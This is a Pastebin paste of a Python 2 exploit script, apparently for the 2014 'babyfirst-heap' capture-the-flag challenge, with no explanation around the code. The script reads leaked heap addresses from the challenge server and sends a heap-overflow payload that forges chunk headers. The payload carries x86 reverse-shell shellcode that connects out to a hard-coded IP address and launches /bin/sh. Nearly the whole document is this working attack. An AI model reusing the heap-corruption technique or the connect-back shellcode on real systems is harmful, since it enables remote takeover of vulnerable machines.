Advertisement
Guest User

Untitled

a guest
May 18th, 2014
889
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.67 KB | None | 0 0
  1. import hashlib, binascii, sys, socket, re, random, struct, base64
  2.  
  3. def readline(s, show = True):
  4.     out = ""
  5.     while len(out) == 0 or out[-1] != "\n":
  6.         data = s.recv(1)
  7.         if len(data) == 0:
  8.             print "Server disconnected"
  9.             exit()
  10.         out += data
  11.        
  12.     if show:
  13.         print repr(out[:-1])
  14.     return out[:-1]
  15.  
  16. def main():
  17.     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  18.     #s.connect(("10.0.0.62", 1234))
  19.     s.connect(("babyfirst-heap_33ecf0ad56efc1b322088f95dd98827c.2014.shallweplayaga.me", 4088))
  20.    
  21.     for i in xrange(6):
  22.         readline(s)
  23.        
  24.     res = readline(s)
  25.     addr = int(res[28:35], 16) - 4
  26.     target_addr = struct.pack("<L", addr)
  27.     for i in xrange(10):
  28.         readline(s)
  29.        
  30.     res = readline(s)
  31.     addr = int(res[12:19], 16)
  32.     base_addr = struct.pack("<L", addr)
  33.  
  34.     code = "\xeb\x10" + "\x90" * 24 + "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x31\xdb\xb3\x02\x68" + chr(212) +chr(251) + chr(154) + chr(61) + "\x66\x68\x30\x39\x66\x53\xfe\xc3\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc9\xb3\x03\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80"
  35.     code = code.ljust(260, "A")
  36.    
  37.     fullcode = code + "\x21\x00\x00\x00" + "A" * 28 + "\x21\x00\x00\x00" + "A" * 28 + "\x39\x03\x00\x00" + base_addr + target_addr + "A" * 808 + "\x38\x03\x00\x00" + "\xe8\x04\x00\x00" + "\n"
  38.     open("foo3.bin", "wb").write(fullcode)
  39.    
  40.     s.send(fullcode)
  41.    
  42.     while True:
  43.         readline(s)
  44.    
  45.    
  46. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement